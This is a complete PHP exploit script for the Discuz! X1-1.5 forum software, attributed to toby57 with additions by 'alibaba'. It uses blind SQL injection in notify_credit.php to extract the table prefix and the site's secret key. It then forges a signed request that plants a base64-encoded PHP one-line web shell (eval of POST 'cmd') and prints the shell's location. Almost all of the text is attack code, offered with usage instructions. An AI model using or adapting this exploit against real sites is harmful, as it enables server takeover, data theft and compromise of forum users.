discuz! X1.5 Get Shell 0day

                                                <?php

print_r('

+---------------------------------------------------------------------------+

Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit by toby57    2010.11.05

mail: admin at bkey org

team: http://www.bkey.org

说明:alibaba把后续getshell代码添加了下去

+---------------------------------------------------------------------------+

');

if ($argc < 2) {

    print_r('

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' url [pre]

Example:

php '.$argv[0].' http://localhost/

php '.$argv[0].' http://localhost/ xss_

+---------------------------------------------------------------------------+

');

    exit;

}

error_reporting(7);

ini_set('max_execution_time', 0);

$url = $argv[1];

$pre = $argv[2]?$argv[2]:'pre_';

$target = parse_url($url);

extract($target);

$path1 = $path . '/api/trade/notify_credit.php';

$hash = array();

$hash = array_merge($hash, range(48, 57));

$hash = array_merge($hash, range(97, 102));



$tmp_expstr = "'";

$res = send();

if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');}

preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match);

if($match[1])$pre = $match[1];

$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='";

$res = send();

if(strpos($res,"doesn't exist")!==false){

    echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n";

    for($i = 1;$i<20;$i++){

    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='";

    $res = send();



    if(strpos($res,'SQL syntax')!==false){   



    $pre = '';

    $hash2 = array();

    $hash2 = array_merge($hash2, range(48, 57));

    $hash2 = array_merge($hash2, range(97, 122));

    $hash2[] = 95;

    for($j = 1;$j <= $i; $j++){

    for ($k = 0; $k <= 255; $k++) {

    if(in_array($k, $hash2)) {

    $char = dechex($k);

    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='";

    $res = send();

    if(strpos($res,'SQL syntax')!==false){

        echo chr($k);

        $pre .= chr($k);break;

    }  

    }  

    }     

    }     

    if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');};

    }    }    };

echo "Please Waiting....\n";

$sitekey = '';

for($i = 1;$i <= 32; $i++){

  for ($k = 0; $k <= 255; $k++) {

    if(in_array($k, $hash)) {

    $char = dechex($k);

$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='";

$res = send();

if(strpos($res,'SQL syntax')!==false){

        echo chr($k);

        $sitekey .= chr($k);break;

}}}}

/*

By: alibaba
修改与添加了一些代码，如果成功就能得到shell
一句话秘密是 : cmd
*/

if(strlen($sitekey)!=32) 
{
	echo "\nmy_sitekey not found. try blank my_sitekey\n";
}

else echo "\nmy_sitekey:{$sitekey}\n";



echo "\nUploading Shell...";

$module = 'video';

$method = 'authauth';

$params = 'a:3:{i:0;i:1;i:1;s:36:"PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";i:2;s:3:"php";}';

$sign = md5($module . '|' . $method . '|' . $params . '|' . $sitekey);

$data = "module=$module&method=$method&params=$params&sign=$sign";

$path2 = $path . "/api/manyou/my.php";

POST($host,80,$path2,$data,30);



echo "\nGetting Shell Location...\n";

$file = '';

for($i = 1;$i <= 32; $i++){

	for ($k = 0; $k <= 255; $k++) {

    	if(in_array($k, $hash)) {

			$char = dechex($k);

			$tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_member_field_home WHERE uid=1 AND MID(videophoto,{$i},1)=0x{$char} AND ''='";

			$res = send();

			if(strpos($res,'SQL syntax')!==false){

				echo chr($k);

				$file .= chr($k);break;

			}

		}

	}

}

echo "\nShell: $host$path/data/avatar/". substr($file,0,1) . "/" . substr($file,1,1) . "/$file.php";
exit;


function sign($exp_str){
    return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key=");
}



function send(){

    global $host, $path1, $tmp_expstr;

     

    $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr);

    return POST($host,80,$path1,$expdata,30);

}   


function POST($host,$port,$path,$data,$timeout, $cookie='') {
	$buffer='';


    $fp = fsockopen($host,$port,$errno,$errstr,$timeout);
    if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno); 
	else {
        fputs($fp, "POST $path HTTP/1.0\r\n");
        fputs($fp, "Host: $host\r\n");
        fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
        fputs($fp, "Content-length: ".strlen($data)."\r\n");
        fputs($fp, "Connection: close\r\n\r\n");
        fputs($fp, $data."\r\n\r\n");
       

		while(!feof($fp)) 
		{
			$buffer .= fgets($fp,4096);
		}
		
		fclose($fp);
    } 
	return $buffer;
} 
?>